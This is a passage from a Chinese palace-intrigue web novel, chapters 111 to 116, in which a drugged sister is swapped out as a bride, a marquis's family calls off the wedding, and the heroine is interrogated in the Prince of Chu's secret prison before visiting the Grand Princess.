“哎呀小翎,你今日怎么回事?大姐姐来看我自然是舍不得我嫁人了。你就先去外面候着吧,让院子里的人动作都小心些,可别把我的嫁妆都弄坏了。” 紫翎退下后,宋婉儿迈着莲步朝宋颜夕走了过去。 “二妹妹今日可真是美艳动人啊。” 宋颜夕笑言:“妹妹哪儿有大姐姐好看啊。” “新嫁娘自然是天底下最美的女子。” 宋婉儿一边与她说着话,一边从怀中掏出一只香囊。 “时间仓促来不及准备别的,这个,便当是我送给二妹的新婚礼物吧。这里面的香草可都是姐姐亲自挑选的,可以安神静气。” 说着,她直接将那香囊挂在宋颜夕的腰间。 做完这些之后,她又亲手为宋颜夕上妆。 宋颜夕扫了那香囊一眼,心中了然,却没表露分毫,还十分热络地握住宋婉儿的手:“大姐姐待我真好。” 一番寒暄过后,宋颜夕忽然捂着脑袋:“大姐姐,我怎么觉得头这么疼呢。” “头疼吗?可是受了寒?” 宋婉儿牵住宋颜夕的手:“不如,先去床上歇息片刻。” 宋颜夕摇了摇头:“这如何使得?吉时就要到了,若是......” 还没说完就被宋婉儿打断:“妹妹尽管休息,这儿还有大姐姐在呢。我会叫醒你的,定不会让你误了吉时。” “那就劳烦大姐姐了。” 等宋颜夕“昏睡”过去之后,孙嬷嬷推门而入,将“昏迷不醒”的宋颜夕抬到床上,然后,动作麻利地扒下她身上的嫁衣。 “姑娘,快换上吧。”孙嬷嬷谄媚地将嫁衣递到宋婉儿手上。 换上嫁衣之后,宋婉儿嫌恶地擦了擦被宋颜夕碰过的手。 “哼,一个村姑,也敢与本小姐抢夫婿?” 她将帕子扔在地上,走到梳妆台前细细梳妆。 直到屋外传来脚步声,她才迅速将盖头往头上一盖。 “哎呀,怎么就二姑娘一人在此?小翎那丫头呢?”进门的是何花。 宋婉儿捏着嗓子,轻声说了一句:“我差她去大姐姐那儿帮我取东西了。” 何花摇了摇头:“明知道今日是二姑娘的大喜日子,取个东西还去了这么久,这丫头也太不知轻重了。” 说着,她疑惑地问了一句:“不过二姑娘你的声音,怎么不对劲啊。” 宋婉儿捏紧手中的帕子:“哦,许是昨夜没休息好。” 何花不疑有他,牵着宋婉儿就往外走:“迎亲队伍已经到了前门,二姑娘快随奴婢拜别相爷和夫人,这便要上花轿了。” 何花领着宋婉儿离开之后,在床上装睡的宋颜夕一把扯下腰间的香囊扔在地上。 “在本帝面前耍这些小把戏,宋婉儿啊宋婉儿,你还是太嫩了。” 宋颜夕翻身下床,换了身男装之后,翻窗而出。 她轻轻拍了两下手掌,被小草“引走”的紫翎瞬间树上跳了下来。 “走,咱们也瞧瞧热闹去。” 宋颜夕带着紫翎大摇大摆朝前厅而去,今日府上人来人往,倒是没人注意到她们。 走着走着,忽然有什么砸在她肩膀上。 回头一看,却见南宫景就站在不远处看着她。 想到那日这家伙薅她头发的事,宋颜夕面露不悦。 她瞪了南宫景一眼,直接从他面前走过,一点搭理他的意思都没有。 “宋姑娘还在为那日的事生气呢?” 南宫景追了上来,与宋颜夕并肩而行。 宋颜夕挥了挥拳头:“知道我生气了还凑上来?想找打是吧?” “若打我能出气的话,你尽管打。我保证不还手。” 说着,南宫景直接站到宋颜夕身前,一副任君“蹂躏”的模样。 宋颜夕还真就抬起了手,正要有所动作,却听前方传来一阵吵嚷声。 “怎么回事?” 宋颜夕不再和南宫景打闹,快步朝前厅的方向走去。 很快,她就明白了事情的始末。 “安远侯府竟然毁婚了?偏偏是在今日?”这不是把丞相府的脸面按在地上摩擦吗? 安远侯府的这番操作,宋颜夕是万万没想到的。 她在前厅外找了个隐蔽处藏着,观察着里头的动静。 果然,宋章的脸色十分难看:“侯爷如此作为,我宋家岂不是沦为整个上京城的笑柄?你若就此毁婚,我家小女还如何嫁人?” 安远侯面露难色,但仍然不改悔婚的决定:“此事是我对不住宋二姑娘,宋相有何要求,尽管提。” 宋章和安远侯交涉了几句,安远侯仍是打定主意要退婚。 一怒之下,宋章直接将人轰出府去。 而披着红盖头站在一旁的宋婉儿从始至终都没有开口说话。 她如今是以“宋彩衣”的身份站在这儿,若是开口便穿帮了。 只不过,她心里却是悄悄将宋颜夕记恨上了。 【侯府定是嫌弃那村姑的出身,这才毁婚的。可恶的宋彩衣,毁我姻缘,本小姐是不会放过你的。】 宋婉儿在心里问候宋颜夕,屋外的宋颜夕顿时觉得鼻子一酸。 她擦了擦鼻子,打算离开前厅。 才刚转身,就听见屋内传来宋章的怒喝声:“我宋家的女儿也是他柳兴德能随意欺辱的?” 说罢,他又放低了声音,道:“彩儿你放心,爹爹一定替你讨个公道。” 宋颜夕脚步一顿,没想到,宋章在这个时候竟然会安慰她这个不受宠的庶女。 她还以为,宋章会不分青红皂白骂她一顿呢。 毕竟,她可是一出生就背上“克亲”的骂名,被宋家直接扔到远离京城的林音镇。 屋内,宋章拍了拍宋婉儿的肩膀:“今日怎么这么安静?这可不是你的性子啊。” 宋婉儿只觉得肩膀一沉,忙不迭后退两步。 那下意识露出的惧意,让宋章皱起眉头。 “你……” 宋章正要进一步询问,宋婉儿却已经脚底抹油朝门口狂奔而去。 再待下去,她迟早会露出破绽的。 然而她忘记自己此刻还盖着红盖头,再加上嫁衣裙摆宽大,她根本看不清脚下的路。 “姑娘当心啊。” 身后传来何花关怀的声音。 宋婉儿察觉到不对,却已经为时已晚。 她整个人撞在厅堂的桌子上,想要站稳身子,右脚却勾到桌脚…… 那一刻,她不受控制地仰面倒了下去。 与此同时,头上的红盖头也因为她的动作掉在地上。 第112章:蹲守楚王府 “婉儿,怎么是你?” 姜淑萍发出一声惊呼,但又因为顾忌身份,惊呼之后立刻捂住嘴。 那一刻,堂上所有人的表情都很精彩。包括宋婉儿在内。 她也没想到,今日她费尽工夫,非但没有如愿嫁给柳如风,还在这么多人面前丢了脸。 “这到底是怎么回事?”宋章在呆愣片刻之后,终于发出一声怒喝。 何花揉了揉眼睛,将宋婉儿上上下下看了个遍。 “不应该啊,我分明是从二姑娘的房里将新娘子牵出来的,怎么就变成大姑娘了呢?” 姜淑萍这会儿也反应过来了,朝众人挥了挥手:“你们都先退下。” 屋里的下人鱼贯而出,这会儿,堂上就只剩下几位当家人。 “婉儿啊,不如你来跟大家解释一下,新娘子怎么会变成你呢。” 刘云香向来不满大房,更不满这府中好的资源都向宋婉儿倾斜。这短短的一句话,颇有些幸灾乐祸。 姜淑萍听出了她话里的意思。正要为宋婉儿开脱,宋婉儿却先她一步开口。 “三婶这话说得好没道理。这原本就是属于我的婚礼,新娘子便应该是我。” 此话一出,全场哗然。 姜淑萍上前一步拉着她的手腕:“婉儿,说什么胡话呢?” 宋婉儿却一把甩开了她的手:“怎么,母亲也觉得是我在胡闹吗?可这一切原本就是属于我的。” “老爷,婉儿今日一定是病糊涂了,我这就带她下去休息。” 姜淑萍没打算在这么多人面前和宋婉儿分析利弊,再次拉起她的手往门口走去。 她的力气很大,宋婉儿挣扎了好几次都没能再甩开她。 “等等!” 宋章将她们叫住:“你还没有解释,你为何会在此。彩衣呢?” 刘云香看热闹不嫌事大:“是啊,我记得这嫁衣可是大嫂特地为彩衣准备的,如今,这嫁衣穿在婉儿身上,该不会,彩衣她已经......” 她的话并没有说完,但她的话音落下之后,宋章的脸色更阴沉了。 宋娇娇原本还想再为自己辩解几句的,见宋章动了真怒,这才将她迷晕宋颜夕的事情一五一十都说了。 听完之后,宋章甩袖而去。 老夫人也是连连摇头,被刘云香和二婶林秋雅扶着回青松院去了。 在屋外偷听的宋颜夕见此,赶紧转身离开。 当宋章跨进梧桐苑的时候,宋颜夕正好翻窗而入。 “相爷,您怎么来了?” 守在门外的春分拦在宋章面前。 “彩衣可在里面?”宋章问。 春分面露疑惑之色:“二姑娘不是出嫁了吗?相爷为何......” 宋章见着丫头口中问不出什么,直接绕过她朝主屋走去。 推门而入的时候,正好看到窗幔微微晃动。 他大步向前,掀开窗幔一看,果真见到宋颜夕穿着中衣规规矩矩地躺在那儿。 紧跟而来的春分张了张嘴,脸上完全看不出表演痕迹:“怎么会这样?姑娘,姑娘快醒醒。” 春分上前推了推宋颜夕的肩膀。 “相爷,我家姑娘怕是......呜呜呜” “哭什么?” 宋章有些烦躁,立刻让人找了大夫。 大夫诊断后告诉宋章,宋颜夕只是吸入了过量迷药。睡上一晚上就会醒来。 当大夫将那个香囊递到宋章面前的时候,宋章脸上阴晴未定。 “相爷放心,这里面的迷药已经发散了,此物对您无害。”大夫说道。 “你且留下,好生照顾二姑娘。” 最后,宋章是在大夫和春分的目送中离开梧桐苑的。 宋章离开之后,那大夫立刻打了个响指:“二姑娘可以醒了。” 宋颜夕这才睁开眼。 看向那个大夫的时候,她问了一句:“你是,何越的人?” 听到何越二字的时候,大夫愣了一下,不过他很快就反应过来:“没错,公子命我配合二姑娘行事。” 宋颜夕打量着他:“你当真懂医术?” “略懂一二。” 南宫景做事向来严谨,不可能找一个不懂医术的人来扮演大夫。 “好,这儿就交给你们了。我还需要出去一趟,紫翎你留下,以防不时之需。” 当宋颜夕走到院门口的时候,却见南宫景已经靠在墙角等她。 “你知道我还会出来?”宋颜夕朝他挑眉。 南宫景站直身子做了个“请”的姿势:“我想,宋姑娘此刻应该很想知道安远侯府悔婚的真相吧?既然宋姑娘要勇闯虎穴,身边怎么能没有我这个贴身护卫呢?” “这次,你倒是把身份摆得很正嘛。” 正事在前,宋颜夕便也不打算在此时与他计较薅头发之仇。 南宫景带着她翻出相府之后,宋颜夕却朝另一个方向走去。 “那不是去安远侯府的方向。” 宋颜夕:“谁跟你说我要去安远侯府了?” 南宫景快步跟上:“不去侯府?莫非,你还有别的计策?” “何二哥啊何二哥,我看你是真的忘了咱们的大事。” “大事?你是说,那批黑铁矿?” “没错。我从一开始就没打算嫁入侯府,他们悔婚,关我何事?咱们现在应该考虑的事,宋章会将那个盒子交给谁。” 南宫景又问:“你有方向了?” 宋颜夕指向某个方向:“你可知,那边是何处?” “你该不会是想要,混入楚王府吧?” 宋颜夕伸出食指晃了晃:“我没这么傻。楚王府是我能混进去的地方吗?” 能跟当今皇帝叫板还稳坐亲王宝座,这个楚王绝对不是省油的灯。 “那你打算如何?” “王府咱们进不去,里面的人还不出来吗?” 宋颜夕朝南宫景眨了眨眼。 南宫景了然。 虽然京中各大府邸都有他的人盯着,但宋颜夕既然想要查,他便不会拦着。 结果,他们在楚王府外盯了一个晚上。 别说是人了,连一只蚊子都没有飞出来。 哦,冬天本来就没有蚊子。 “蹲了一晚上,要不要吃点东西暖暖身子?” 南宫景指着不远处的酒楼问道。 宋颜夕却直接走到巷子口的面摊上坐了下来。 “既然是暖身子,自然要吃面了。掌柜的,来两碗阳春面。” 话音刚落,耳边响起一道清和儒雅的嗓音:“掌柜的,再加一碗,这二位公子的面钱都记我账上。” 听到声音的时候,宋颜夕和南宫景同时一怔。 他怎么会在这儿? 第113章:楚王发难 来人不是别人,正是昨日退婚事件的另一个主角。 安远侯世子——柳如风。 此时的柳如风并没有戴帷帽,露出的那张脸虽然还有些疤痕,但已经开始结痂。 宋颜夕暗忖:恢复得这么快,看来侯府没少往他身上用好东西啊。 “二位,不介意我和你们拼个桌吧。”柳如风问。 “不行。”宋颜夕和南宫景异口同声。 “这样啊?” 柳如风看起来有些为难:“可是,这摊上只有这一张桌椅。” “怎么可能,那儿不是……” 宋颜夕转头一指,却见那些空桌子上都已经坐满了人。 如此看来,的确是只有他们这边还剩两个位子。 柳如风坐下之后,气氛一度十分尴尬。 最后,还是柳如风率先开口打破安静:“二位,是第一次来这里吧。别看这摊位不大,面却是十分劲道。” 宋颜夕看了他一眼:“兄台,经常来这儿?” “是啊,我与老板也算是老相识了。在我得病之前,一得空便会来这儿吃面。” “是啊,柳公子可是小店的常客呢。您二位坐的这张桌子啊,其实也是被柳公子常年包下的。” 老板端着面条过来,听到柳如风的话,插了一嘴。 宋颜夕和南宫景交换了一个眼神。 如此看来,柳如风与他们“偶遇”竟不是刻意安排的? 这未免也太巧了。 “二位兄台看着眼熟,咱们是不是在哪儿见过?”柳如风将其中一碗面条推到宋颜夕面前,随口问了一句。 宋颜夕想都不想就回答:“没见过。” 她与南宫景都是易了容出来的,她就不信柳如风能看出来。 柳如风淡淡应了一声:“那是在下看错了。还以为是故友呢。” 接下来,三人低头吃面不再交流。 原以为这不过是一场“偶遇”,却不想,这“偶遇”的阵容竟又突然变大了。 吃到一半的时候,他们这张桌子上又多了一位不速之客。 而这个突然加入的人,正是楚王南宫晏。 那一刻,四人面面相觑。 “听闻柳世子昨日与宋家退婚了?” 南宫宴今日穿了一身藏蓝色束腰长袍,身上披了件毛氅子,往那木凳上一坐,大氅子便拖在地上,显得与这小摊有些格格不入。 不过,他似乎并未意识到这一点,也忽略了宋颜夕和南宫景,自顾自和柳如风说着话。 柳如风朝他拱手道:“果然什么都瞒不过殿下。” “本王有一事不明,宋家千金可是上京城出了名的贵女,世子为何舍弃这大好的婚事?” 宋颜夕不动声色地勾了勾嘴角。 这句话就有些意思了。 宋家千金的确在上京城有些名气。 宋家大姑娘宋婉儿,是公认的才女,相貌端庄不说,名声也是极好的。 但至于她这位二姑娘嘛,回京不过两月,就闹出了不少事,倒也传出了一些“美”名。 无非就是说她运气好,在百花宴救了大长公主,从此飞黄腾达之类的。 但更多的,还是对她这个“乡下女”的嗤之以鼻。 南宫宴提及此事,倒不知是当真替柳如风感到惋惜,还是在嘲讽他。 柳如风的表情依旧淡淡的:“承蒙殿下关怀,诚然宋家姑娘是极好的婚配对象,但柳某久病未愈,实在是配不上宋姑娘。” 说着,柳如风忽然捂住口鼻,沉沉的咳嗽声透过他的指缝传了出来。 宋颜夕低头吃面,这个柳如风,还挺会装。 别人或许听不出来,但她一听便知道,这声咳嗽,是装的。 南宫宴的眸光一转,道:“怎么,世子的身子还未康复吗?要不要本王传太医到你府上替你瞧瞧?” “柳某这病,药石无灵了。怕是要辜负殿下的美意。” 南宫宴却一脸郑重地说道:“世子少年天才,可是我东越的栋梁之才啊。本王便是倾尽全力,也定会找到神医医治世子。” 说完,他忽然将目光锁定在宋颜夕和南宫景身上,就好像刚刚才看到他们一样:“这二位,可是世子的朋友?” 柳如风摆摆手:“萍水相逢罢了,不过今日既有缘坐在一张桌子上吃面,日后或许还真能成为朋友,你说对吧?兄台。” 后半句话,他是对着宋颜夕说的。 宋颜夕抬眸看了他一眼,见到他眼中隐含期盼的星光时,点了点头:“或许吧。” “既然楚王殿下与世子有话要谈,我们便不打扰了。” 见宋颜夕和柳如风眼神交汇,南宫景再也坐不住了。 扔下这句话之后,他直接拉着宋颜夕起身离开。 “我还没吃饱呢。”宋颜夕低声说道。 南宫景凑在她耳边说了一句:“这地方苍蝇太多,带你去别处吃。” 宋颜夕明白了他话里的意思, “站住!” 走了两步,身后忽然传来南宫宴的喝止声。 “既然不是世子的朋友,见了本王与世子,为何不行礼?” 南宫宴轻轻一抬手,街道两旁立刻冲出十几个拿着武器的府兵。 “殿下这是什么意思?” 南宫景将宋颜夕护在身后,沉声问了一句。 柳如风顺势说道:“我看这二位兄台都是寻常百姓,不懂礼数也在情理之中,殿下便饶了他们这一回吧。” 南宫宴却上下打量着他们二人,尤其是看向南宫景的时候,眼中闪过一道冷色。 “本王瞧着,这二位言谈举止都不俗,怕不是寻常百姓这么简单吧。柳公子心思单纯,可别被他们骗了。” 说着,他直接下令:“把他们带回去,严加审问。” “殿下!” 柳如风还想说什么,却被南宫宴打断:“世子放心,不过是寻常的审问罢了。若这二人并非乱党,本王自会放他们归家。世子既身体不适,还是不要在外面吹风了。” 说罢,他朝其中一个府兵勾了勾手,“你,送世子回府。” 柳如风几乎是被南宫景的人强行架走的。 虽然他对柳如风仍然保持着表面的客气,但从行为上来看,南宫宴对柳如风乃至安远侯府已经颇为不满。 宋颜夕猜测,这当中的缘由,还是因为侯府退婚之事。 至于她与南宫景,怕是被“牵连”的。 正想着,南宫宴的目光已经朝他们扫了过来。 准确地说,他的视线是“钉”在南宫景身上的: “你倒是有几分眼熟。我们,是不是在哪儿见过?” 第114章:被带走了 宋颜夕的第一反应是,南宫景是不是在当山贼的时候盗取过楚王的财物。 因此,在南宫宴那句话落下的时候,她几乎是下意识窜到南宫景面前。 “楚王殿下可是天上的龙,哪儿能见过我们这种小人物呢。我这位兄弟啊,也就是长了张大众脸,谁见了他都觉得似曾相识呢。” “哦?是吗?” 南宫宴似笑非笑地问了一句,随后便让人将他们二人带走了。 南宫景原本是想放倒那些府兵的,却接到了宋颜夕的眼神暗示。 【别动手,这大好的机会摆在眼前可别浪费了啊。】 南宫景:...... 也罢,不过是去楚王府地牢走一遭罢了。 他倒也想见识见识南宫宴的手段。 如此想着,他抬起手摸了摸鼻子。 隐在暗处的林昊见此,赶紧让那些蓄势待发的暗卫退了下去。 南宫宴并没有将他们带到楚王府,而是将他们蒙住眼,直接带到了城外的一处暗牢。 之所以知道是城外,是因为他们听到了开城门的声音。 楚王府的车驾无人敢拦,象征性盘问了两句之后,马车就直接出了城。 他们并没有反抗,所以一直到被关进牢房都没有遭到那些府兵的殴打。 “李哥,又送人来了?” 那个押解他们的府兵头子显然和这看守暗牢的是老相识了。刚进门,那人就热络地和他打招呼。 李哥应了一声:“是啊,接下来的事,还要辛苦阿泰了。” 那个被称为阿泰的是个审讯的好手,从李哥手中接过他们之后,并未直接对他们用刑,而是将他们捆了手脚,分别关在两间不同的牢房。 宋颜夕被带到一处阴暗的地牢之内,刚走进去的时候,一股死老鼠的气味扑鼻而来。 她皱了皱眉,直接对阿泰说道:“你想知道什么,我全都招。” 阿泰愣了一下:“你说什么?” 以往到了他手里的犯人哪个不是硬骨头,不在他手底下脱一层皮是不会招的。 是以,宋颜夕的举动让他震惊不已。 宋颜夕十分坦荡:“阿泰大哥是吧,老实告诉你吧,我和我那兄弟就是在街上吃了碗面而已。因为冲撞了楚王殿下才被关进来的。” 阿泰自然是不相信她的说辞。 很快,宋颜夕就被带到了刑讯室。 里头摆放着很多刑具,甚至还有一些尚未干的血迹。 “说吧,你和安远侯世子是什么关系?”阿泰将宋颜夕绑在凳子上,身旁,站着两个拿着刑具的喽啰。 宋颜夕摇了摇头:“安远侯世子?不认识的。” “那么多面摊你不去,非要去柳如风常去的那一家,还不是去和他接头?” 阿泰一边说,一边朝那两个人使了个眼色。 其中一人立刻将手中的鞭子高高扬起,那意思已经很明显了。 若是宋颜夕不配合,那鞭子就会落在她身上。 “你最好老实交代,柳如风给你指派了什么任务?安远侯府是不是意图谋反?” 宋颜夕赶紧点头:“你说什么就是什么。谋反是吧?没错,安远侯府就是要谋反。” 习惯性挥舞鞭子的那个喽啰愣在原地。 高高扬起的鞭子竟然有片刻,无处安放。 “你说的都是真的?”阿泰又问。 宋颜夕:“当然是假的啊。” 阿泰:...... “你这是在耍我?” 宋颜夕陪着笑:“大哥,小的可不敢耍您啊。你们抓我来不就是想要做实安远侯府谋反的罪名吗?不如咱们打个商量,我呢,可以替你们作证,只要您能饶我一命。伪造证据、假供词,我都没问题的。” 阿泰:...... “胡说八道,我何时让你污蔑安远侯府了。” 宋颜夕往后一倒将身子靠在椅背上,半点阶下囚的自觉都没有:“不是这个意思吗?那是我误会了。既然如此,你们带我回来干什么?我根本就不认识安远侯世子啊。” 这边,宋颜夕带着阿泰兜圈子,另一间地牢里的南宫景已经挣脱开身上的绳索,并且,成功“越狱”。 他在暗牢里游走一圈,那些守卫便被他清理得七七八八。 这处暗牢占地面积并不大,关押的人也不多。不过从牢房里的痕迹判断,那些曾经被关在此处的人大多都遭受了酷刑。 至于那些人是否还活着,便无从判断了。 将暗哨都处理完之后,南宫景迈着大长腿朝刑讯室走去。 刚走到门口,就听到阿泰的怒吼声:“你小子,这是把老子当猴耍呢。看来,不给你一点颜色看看你是不会招的。” 听到这儿,南宫景面色一变,直接将牢门一脚踹开。 门被踹开的那一刻,南宫景愣住了。 里面的场景与他想象中压根不一样。 宋颜夕已经解开了身上的绳索,此时此刻,她手中的银针正好刺在阿泰的脖子上。 而阿泰呢,整个人趴在地上,像一只四脚龟一样保持着诡异的姿势。 “看来,我来得不是时候。”南宫景挑了挑眉。 话音落下的时候,他已经一脚踹飞了那两个小喽啰。 宋颜夕拍了拍手:“不早不晚,来得刚刚好。” 说着,她在方才的那张刑讯椅上坐了下来,右脚踩在阿泰后背:“现在,轮到我来问你了。” 两级反转。 阿泰在宋颜夕脚下哇哇求饶,将他这些年帮楚王干的事全都招了。 “真是没想到,那个南宫宴竟然还做了不少残害衷良的恶事。果然,这东越皇室,每一个好东西。” 离开暗牢的时候,宋颜夕愤愤说道。 落后一步的南宫景摸了摸鼻子:“此事也不能以偏概全。南宫宴这颗毒瘤,早晚会被拔掉的。” “你还替东越皇室说话?怎么,你跟他们有亲戚?”宋颜夕转过身去看着他,眼中闪过探究之色。 “怎么可能呢。我一个山贼,哪儿能跟皇室扯上关系。” 宋颜夕对“战王”的误会还没有解除,他绝对不能在此时暴露身份。 见他如此反应,宋颜夕脸上的怀疑之色更甚。这是南宫景第一次承认“山贼”这个身份。 她一步一步走近,手中的银针抵上他的下巴:“你在撒谎。” 第115章:再入公主府 “我能撒什么谎啊。” 南宫景装出一副无辜的样子:“不如你说说,我能跟皇室扯上什么关系?” 宋颜夕盯着他看了一会儿,最终说了一句:“你倒的确与他们不同。” 南宫景呼出一口气,赶紧转移话题:“看来,阿泰并不知道黑铁矿的事。下一步,你打算怎么办?” “此事稍后再说。南宫宴应该很快就会收到消息,咱们先离开这儿。” 就在他们离开之后没多久,南宫宴直接派人一把烧了那个暗牢。 连同阿泰在内的所有人,无一生还。 消息传来的时候,宋颜夕和南宫景已经回到了丞相府。 此时,他们就坐在宋颜夕的房中对饮。 紫翎站在一旁,一脸警惕地盯着南宫景。 “这个南宫宴,下手真狠啊。”宋颜夕把玩着手中的杯盏,一双杏眸微微闪烁。 南宫景倒是习以为常:“若是不够狠,他坐不到如今的位置。” 正是因为南宫宴每次的善后工作都做得滴水不漏,他们才始终无法抓到他的错处。 宋颜夕将杯中茶一饮而尽:“说到底,还是东越皇帝太无能,否则,怎么能将这样的蛀虫留到今天。” 南宫景不说话了。 因为,她口中那个无能的皇帝,是他一手扶持的。 这些年,他的心思都放在边疆,的确是忽视了南宫宴的野心。 原本以为,在那件事发生之后,南宫宴会收心的。 没想到,还是低估他了。 “紫翎,我们离开之后,府中有何动静?”评论完南宫宴之后,宋颜夕问起了婚礼之事的后续。 紫翎答道:“宋章离开梧桐苑之后便去书房待了一个晚上,出来之后就下令谁都不许提及那件事。至于宋婉儿,被宋夫人带到茱萸院后就再也没出来。” “宋相没惩罚宋婉儿?” 紫翎摇了摇头:“没有。” 宋颜夕轻笑一声:“咱们的宋丞相对这位嫡出大小姐还真是宠爱得紧。” 他们正说着此事,门口忽然传来通报声。 姜淑萍带着宋婉儿来看她了。 宋颜夕朝南宫景使了个颜色,他立刻从窗户翻了出去。 就在宋颜夕将南宫景用过的杯子倒扣过来的时候,门外响起了敲门声。 “彩儿,母亲能进来吗?” 宋颜夕起身开门。 姜淑萍带着宋婉儿过来,无非就是为婚礼上的事道歉。 大概是被教育了一番,宋婉儿没了那日的歇斯底里,依旧是平日里那端庄的名门千金做派。 宋颜夕十分懂事地“原谅了”宋婉儿那日的所作所为,不仅如此,她还细细安慰了宋婉儿一番,让她别因为安远侯府退亲之事耿耿于怀。 演完那场“母慈女孝”“姐妹情深”的戏码之后,姜淑萍便领着宋婉儿离开了。 “姑娘,这事儿就这么过去了?”紫翎问。 宋颜夕示意她关门:“一切,才刚刚开始呢。” 上京城可没什么秘密,过不了多久,丞相府被退亲的事怕是会闹得人尽皆知。 安远侯府此举无疑是和楚王划清界限了。 届时,宋府、安远侯府、楚王府乃至代表皇权的战王都会有所动作。 这一场关于权利的争斗,只会越演越烈。 想着,宋颜夕朝紫翎勾了勾手:“让人盯着宋章,若是古德茂来找他,立刻告知于我。” 算算日子,他们也该拜访国师了。 紫翎点头应下。 两日后,大长公主派人来请。说是大长公主得了一株尊贵的细叶寒兰,请宋颜夕过府赏花。 南宫景去调查黑铁矿的事了,这次没有陪同。 对于这个即将成为她“义母”的女人,宋颜夕其实没有多大感情。 但对于大长公主这个人,她却是极为敬佩的。尤其是在听说了她的故事之后。 大长公主是先帝的亲姐,虽为女子,却有一般男子没有的胆识。 自小,她就不愿和寻常闺阁女子一般一辈子被困在院墙之内。 在她十五岁那年,更是直接翻出宫墙,女扮男装参了军。 在军队,她立下赫赫战功,被先帝破格封为东越国第一位女将军。也是在战场上,她结识了她的夫君——曾经名噪天下的赤灵王。 后来,赤灵王归顺东越,大长公主便卸去军务,随赤灵王去了封地。 再后来,北凉与东越和亲,原定的和亲公主临场逃婚,惹怒了北凉王。北凉军队压境。 大长公主为保家国,让她唯一的女儿踏上了和亲之路。 至于战王南宫景,据说是从小养在她膝下,虽是姐弟,却情同母子。 “丫头,想什么呢?” 大长公主的声音拉回她的思绪。 宋颜夕朝大长公主笑了笑:“回殿下的话,臣女只是在想,这寒兰如此难得,究竟是从何处觅得。” 大长公主摆弄着花叶:“这个啊,是柳家那小子送的。” 柳家小子? 该不会是柳如风吧? 说起来,那家伙处处透着一股淡雅之气,倒是与这寒兰相得益彰。 “说起柳家小子,你是怎么想的?”大长公主又问。 宋颜夕表情淡淡的:“两家已经退亲,我与世子,当是不会再有交集了。” 大长公主叹了一口气:“你也莫要往心里去,柳家小子虽是个好孩子,但这身子......他也是怕耽误你。” 她这句话并没有说完,但宋颜夕明白她的意思。 柳如风病愈之事,外界怕是还不知晓。 至于侯府退婚的真正理由,便更无人知晓了。 “多谢殿下宽慰,臣女都明白的。” 大长公主拍了拍她的手背:“你也是个好孩子。今日叫你过来,还有一事要与你商议。” 说着,大长公主将一个帖子递到宋颜夕手中。 “收你为义女之事,陛下已经应允,而且钦天监已经将日子择好了。就在正月。” 宋颜夕看了那帖子一眼。 择日的帖子写得很详细,不过,记录的却都是宋彩衣的生辰八字。 “你若是觉得没问题,本宫便差人准备去了。说起来,按照丫头你的年龄来算,本宫该认你当孙女的。但本宫有个私心......” 大长公主的嘴一开一合在说些什么,但宋颜夕却没怎么在听。 她知道,大长公主其实很思念她那个远嫁的女儿。 而她如今的年龄,正好与“和亲公主”嫁人时一般大。 “公主,认亲之事,是否......” 宋颜夕正要请大长公主收回认亲的决定,却被另外一道声音打断。 “不好了殿下,梦安郡主出事了。” 第116章:梦安郡主的病 梦安郡主中邪了。 她们赶到卢郡王府的时候,李梦安被绑在床上,嘴里还塞着一团白布。 她身上的衣裳被扯破了好几处,发髻凌乱,脸色发白。 最重要的是,她那双眼睛,竟然是猩红色的。 看起来,就像一头蓄势待发的野兽。 “这是怎么回事?” 大长公主毕竟也是看着李梦安长大的,眼下见她这般模样,眼中满是心疼。 卢郡王摇了摇头,斑白的两鬓写满了沧桑:“前几日还好好的,不知怎的就变成这样了。” 卢郡王共有三子一女,李梦安是他老来得女,所以,自小就格外宠爱,这才养成了她张扬跋扈的性子。 此刻,看着那个风光满面的女儿像个女疯子一般被绑在那儿,卢郡王心里很不是滋味。 趁着大长公主和卢郡王说话的功夫,宋颜夕偷偷打量着李梦安。 她双目涣散无神,瞧着的确像是中邪。 若是不尽早医治,这姑娘这辈子怕是就这样毁了。 虽然李梦安屡次找她麻烦,但到底没做什么十恶不赦之事,宋颜夕没道理见死不救。 但,她此刻是宋彩衣,还不能在这些皇权贵胄面前暴露自己的医术。 当她的视线撞进李梦安的眼中时,她能明显感觉到李梦安麻木的眸子转了转。 这个发现让宋颜夕诧异。 李梦安,竟然对她有感知? 当她再次看过去的时候,却见李梦安依旧是那副麻木凶狠的模样。 【难道是错觉?】宋颜夕暗忖。 那边,大长公主已经从卢郡王口中得知了事情的始末。 原来,李梦安被禁足这段时间并不安分,曾经偷偷溜出府好几次。 卢郡王宠着她,便由着她去了。只是偷偷安排了人暗中保护她的安全。 原本一切都很正常。 但是没曾想,前几日出府之后,卢郡王安排的那些护卫竟然没有一个人回来。 不仅如此,就连李梦安也失踪了。 她失踪了整整两天,没有人知道这两天她去了哪里。等到郡王府的人找到她的时候,她已经是这副模样。 而那些被派出去保护李梦安的护卫,至今下落不明。 “请问郡王,是在何处找到梦安郡主的?”问话的是宋颜夕。 对于宋颜夕,卢郡王是很不待见的。 在他的认知里,就是因为宋颜夕,大长公主才会惩罚李梦安。 而李梦安也是因为被责罚才会心情烦闷出门找乐子。 四舍五入,便是宋颜夕将李梦安害成这样的。 卢郡王看向宋颜夕的目光越发冰冷,但碍于大长公主,没有发作。 大长公主哪儿会看不出他的心思,转头对宋颜夕说道:“这卢郡王府的景致倒是不错,丫头啊,你便先去院子里逛逛吧。” 宋颜夕朝大长公主福了福身,转身离开李梦安的卧房。 她在梅花树下的石凳上坐下,右手食指轻轻敲击着桌面。 按照卢郡王的说法,李梦安失踪的时间刚好和他们进入古宅的时间吻合。 联想到古宅那些稀奇古怪的事,宋颜夕顿时萌生了一个想法。 李梦安的“中邪”,和那件事会有关系吗? “师傅,还真是你啊。” 正想着,耳边响起一道熟悉的声音。 宋颜夕抬头一看,几步开外那个背着医药箱,身穿青衣的年轻男子,不是蒋文彦又是谁? “师傅怎么也也在卢郡王府?可是来替郡主治病的?”蒋文彦问。 宋颜夕不答反问:“是卢郡王请你来的?” 蒋文彦点头:“是啊,卢郡王广发帖子,全城求医。” 他从药箱中掏出一本厚厚的本子,“我如今已经救治了九十人,还剩十人便能完成师傅交代的任务了。” 宋颜夕接过那本子看了看,还真的记录得十分详细。 何时何地医治何人,病症如何,治病方子......所有信息一应俱全。 而且,所用的药物中,有一些还是极为珍贵的草药。 宋颜夕咋舌,这才多少时间啊,这小子竟然就已经医治了九十人。 “你当真,分文未取?” 宋颜夕疑惑。 “那是自然,”蒋文彦抬了抬下巴,“师傅说了不能收诊金,我自然是分文不取。” 真是个败家小子。宋颜夕摇了摇头。 